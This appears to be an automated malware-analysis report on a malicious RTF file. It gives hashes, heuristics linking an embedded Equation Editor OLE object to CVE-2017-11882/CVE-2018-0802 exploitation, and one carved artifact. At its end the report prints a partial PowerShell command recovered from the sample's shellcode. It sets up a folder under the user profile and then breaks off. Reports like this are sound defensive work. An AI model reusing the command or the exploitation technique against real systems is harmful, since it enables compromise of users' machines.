RTF malware analysis — malicious · f50c6f5e8ec48d97

MALICIOUS

RTF

8.0 KB First seen: 2020-12-28

MD5: 748553389e907afbb597fad6527525f7 SHA-1: 9d722fd97200bd2c9ce0b0b715cd17e2008e4df0 SHA-256: f50c6f5e8ec48d97c09879046afc6429f5ee570417b169deb357254b417f993e

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object, specifically identified as being related to Equation Editor. This strongly suggests exploitation of a known vulnerability within Equation Editor to achieve arbitrary code execution. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	3590 bytes
SHA-256: `34d168fa1fb1cab42148428a3869504fa7909ed12755ba674497e29da1e23df3`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE

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